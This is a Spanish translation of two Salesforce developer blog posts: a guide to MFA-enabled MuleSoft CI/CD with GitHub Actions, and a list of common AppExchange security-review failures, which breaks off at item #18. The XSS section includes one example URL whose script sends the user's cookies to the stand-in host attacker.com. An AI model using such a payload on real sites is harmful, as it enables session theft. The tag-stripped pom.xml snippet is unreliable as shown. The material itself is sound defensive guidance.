Skip to content

Etiqueta: Business

Habilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub ☁️

Habilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Habilitación de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub | Blog de desarrolladores de Salesforce

La mayoría de las cuentas empresariales de Anypoint Platform requieren que utilice mecanismos de autenticación multifactor (MFA) para mayor seguridad. Esto significa que, además de su nombre de usuario y contraseña habituales, necesitará un paso adicional para autenticarse (por ejemplo, una aplicación de autenticación en su teléfono).

Cuando utiliza canalizaciones de CI/CD para sus aplicaciones Mule y MFA está habilitado en su cuenta, la configuración para autenticarse usando el complemento Mule Maven será diferente que si solo estuviera usando su nombre de usuario y contraseña. Hay más pasos que debe seguir desde su cuenta de Anypoint Platform para habilitar sus canales de CI/CD con este método de autenticación.

En esta publicación, aprenderá cómo configurar una canalización de GitHub Actions para que funcione con su cuenta habilitada para MFA desde Anypoint Platform.

Requisitos previos

Crear una aplicación conectada

Dado que usar el nombre de usuario y la contraseña de su plataforma Anypoint no es suficiente para autenticarse en el proceso, debe crear una aplicación conectada para usar sus credenciales (ID/Secreto). Para crearlo, vaya a su cuenta de Anypoint Platform y navegue hasta Gestión de acceso > Aplicaciones conectadas > Crear aplicación .

Asigne un nombre a su aplicación para identificarla de otras que pueda crear. Por ejemplo, github-actions . Seleccione el tipo La aplicación actúa por sí sola y haga clic en el botón Agregar ámbitos .

Seleccione los siguientes 10 ámbitos.

  • Desarrollador del centro de diseño
  • Ver entorno
  • Ver organización
  • Perfil
  • Administrador de organización de CloudHub
  • Crear aplicaciones
  • Eliminar aplicaciones
  • Descargar aplicaciones
  • Leer aplicaciones
  • Leer servidores

Haga clic en Siguiente . Seleccione su grupo empresarial y haga clic en Siguiente . Seleccione su entorno (por ejemplo, Sandbox) y haga clic en Siguiente . Revise que los alcances sean correctos y haga clic en Agregar alcances . Haga clic en Guardar .

Una vez creada la aplicación, asegúrese de copiar tanto el ID como el Secreto . Los utilizará en la configuración de la canalización como método de autenticación.

Configura tus secretos de GitHub Actions

Vaya a su repositorio de GitHub. Haga clic en la pestaña Configuración > Secretos y variables > Acciones > Nuevo secreto del repositorio . En el campo de nombre, agregue CONNECTED_APP_CLIENT_ID . En el campo secreto, agregue la identificación real que acaba de copiar en el paso anterior. Repita este paso para crear otro secreto con el secreto real que copió en el paso anterior. Utilice el nombre CONNECTED_APP_CLIENT_SECRET .

Crear una canalización de CI/CD

De vuelta en el código de su aplicación Mule, cree una carpeta .github en el nivel raíz. Dentro de esta carpeta, cree otra carpeta llamada workflows . Dentro de esta carpeta, cree un archivo build.yml con el siguiente contenido: mule-mfa-cicd-build.yml . Tenga en cuenta que la sucursal main se utiliza en la línea 5. Si su sucursal tiene un nombre diferente, asegúrese de actualizar esta configuración.

En este archivo, describimos los pasos para generar el archivo JAR de nuestra aplicación Mule e implementarlo en nuestra cuenta de Anypoint Platform usando GitHub Actions. Observe que estamos usando los secretos creados previamente en el último paso para pasarlos a nuestro proyecto a través de Maven. Aquí declaramos dos variables de entorno Java ( client.id y client.secret ) para copiar las credenciales de nuestra aplicación de los secretos de GitHub para que el archivo pom.xml pueda usarse más adelante.

Modifica tu configuración de Maven

En su proyecto Mule, abra su archivo pom.xml. Localice el complemento org.mule.tools.maven en project/build/plugins . Agregue la siguiente configuración a este complemento.

<dx-code-block title language="xml" code-block=" org.mule.tools.maven mule-maven-plugin ${mule.maven.plugin.version} true https://anypoint.mulesoft.com 4.4.0 mulesoft-mfa-cicd Sandbox MICRO us-east-2 1 true ${client.id} ${client.secret} client_credentials
«>

Vuelva a verificar estas configuraciones en caso de que necesite actualizarlas para que coincidan con su caso de uso. Por ejemplo, muleVersion , applicationName , environment o region . Usaremos los campos connectedAppClientId y connectedAppClientSecret para pasar las variables Java que declaramos anteriormente en la configuración de Maven.

Es importante que no codifique las credenciales de la aplicación conectada en este archivo por razones de seguridad. Es por eso que mantenemos los valores como secretos de GitHub. Recuerda que puedes acceder a nuestro repositorio de ejemplo si necesitas comparar tu código con el nuestro.

ejecutar la tubería

Una vez que todas sus configuraciones estén listas, confirme y envíe sus cambios al repositorio remoto. Esto activará la canalización en GitHub. Puede ver el proceso haciendo clic en la pestaña Acciones de su repositorio de GitHub.

Una vez completado el proceso, su aplicación Mule se implementará en Runtime Manager. Tenga en cuenta que el archivo JAR contendrá el hash de confirmación en su nombre.

Conclusión

Habilitar canalizaciones de CI/CD es importante para automatizar tareas repetitivas. En lugar de implementar manualmente una aplicación Mule cada vez que hay un cambio en el código, podemos crear canalizaciones para que realicen estas tareas por nosotros. Este fue un ejemplo simple que utiliza solo una sucursal y un entorno, pero puede conectar otras sucursales a otros entornos en Anypoint Platform. Por ejemplo, dev , qa , prod , etc.

En esta publicación, aprendimos cómo implementar automáticamente una aplicación Mule en CloudHub cuando usamos la autenticación multifactor en nuestra cuenta de Anypoint Platform porque la mayoría de las cuentas empresariales tienen esta configuración habilitada. Sin embargo, cuando solo usa una cuenta de prueba gratuita, no necesita crear una aplicación conectada si no usa MFA en su cuenta. Puede utilizar su nombre de usuario y contraseña de Anypoint Platform para iniciar sesión.

Hay muchas cosas que puede automatizar al utilizar canalizaciones de CI/CD para sus aplicaciones Mule. Puedes ejecutar pruebas automatizadas antes de implementar tu aplicación Mule, por ejemplo. ¿Se te ocurren otras tareas repetitivas que puedas automatizar en tus canalizaciones?

Nota: Las versiones iniciales de la canalización se basan en el siguiente repositorio creado por Archana Patel: arch-jn/github-actions-mule-cicd-demo .

Recursos adicionales

Sobre el Autor

Alex Martínez formó parte de la comunidad de MuleSoft antes de unirse a MuleSoft como desarrollador defensor. Fundó ProstDev para ayudar a otros profesionales a aprender más sobre la creación de contenido. En su tiempo libre, encontrarás a Alex jugando juegos de Nintendo o Playstation y escribiendo reseñas sobre ellos. Siga a Alex en LinkedIn o en la comunidad Trailblazer .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

